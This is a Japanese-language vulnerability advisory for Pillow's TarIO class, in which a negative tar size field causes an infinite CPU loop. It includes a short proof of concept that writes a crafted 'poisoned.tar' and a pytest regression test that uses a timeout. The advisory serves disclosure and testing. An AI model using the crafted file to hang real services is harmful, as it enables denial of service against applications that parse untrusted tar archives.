Pillow: TarIOの負のサイズフィールドが原因で、CPUが無限ループに陥る

### 概要
`TarIO.__init__`は、tarヘッダーのサイズフィールドが正の値であることを確認していません。 負のサイズを持つように作成されたヘッダーがあると、ファイルポインタが逆方向に移動し、自身を参照してしまいます。 これにより、CPU使用率が100%になり、プログラムが終了しない無限ループが発生します。

### 詳細
`TarIO.__init__`は、指定された名前のメンバーを検索するために、512バイトごとのtarヘッダーを読み込みます。 各ヘッダーを読み込んだ後、サイズフィールドを読み込み、次のヘッダーに進みます。

```python
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
```
サイズがゼロ以上であることを確認するチェックはありません。 tarヘッダーは、このフィールドを負の8進数で設定することができます。 サイズが-512の場合、シークオフセットは正確に-512となり、ループが読み込んだ512バイトを打ち消します。 ファイルポインタは、このループの開始位置に戻ります。

ループは、ファイルの終わりに到達するか、ヘッダー名がヌルバイトで始まる場合にのみ停止します。 しかし、同じヘッダーが繰り返し表示されるため、これらの条件は満たされません。 したがって、ループは単独では終了しません。

### 再現手順

これは、Pillowのテストスイートにすでに存在する通常のファイルである`Tests/images/hopper.tar`を使用します。 最初のヘッダーのサイズフィールドのみを変更します。

```python
from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f:
data = bytearray(f.read())

# サイズフィールド(バイト124から135)を負の8進数に設定します。
# 8進数の1000は512を表すため、これはサイズ = -512です。
data[124:135] = b" -00001000"

with open("poisoned.tar", "wb") as f:
f.write(data)

# "does-not-exist"はヘッダー名と一致しないため、TarIOは
# 検索を続行する必要があります。 この呼び出しは決して戻りません。
TarIO.TarIO("poisoned.tar", "does-not-exist")
```

`ps`コマンドで確認したところ、プロセスはCPU使用率が98〜100%で、それ以上は終了しません。 外部からの強制終了が必要になります。

以下は、pytest-timeoutを使用して、テストが永久にハングしないようにしたpytest版のコードです。 現在のコードでは、"Failed: Timeout (>3.0s) from pytest-timeout"というエラーで失敗します。

```python
from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"

@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
with open(SOURCE_TAR, "rb") as f:
data = bytearray(f.read())

data[124:135] = b" -00001000" # 8進数1000は10進数で512、それを否定

poisoned_tar = tmp_path / "poisoned.tar"
poisoned_tar.write_bytes(data)

with pytest.raises((OSError, ValueError)):
with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
pass
```
### 影響

- 可用性: 攻撃者が、TarIO.TarIO() に渡されるように作成されたtarファイルを準備できる場合、プロセスがCPUを100%使用して停止する可能性があります。ファイルサイズは512バイトをわずかに超える必要があります。
- 機密性: なし。
- 完全性: なし。
- TarIOは、小さな補助クラスです。Image.open()では使用されておらず、Pillowの多くのユーザーが利用するデフォルトのパスには含まれていません。この問題が発生するためには、アプリケーションがPIL.TarIO.TarIO(path, member_name)を直接呼び出す必要があります。一部のアプリケーションでは、tarアーカイブから画像ファイルを読み込むためにこれを行います。

影響を受けるパッケージ:
- pip (Python) Pillow: 13.0.0より前のバージョンが影響を受けます。13.0.0で修正されました。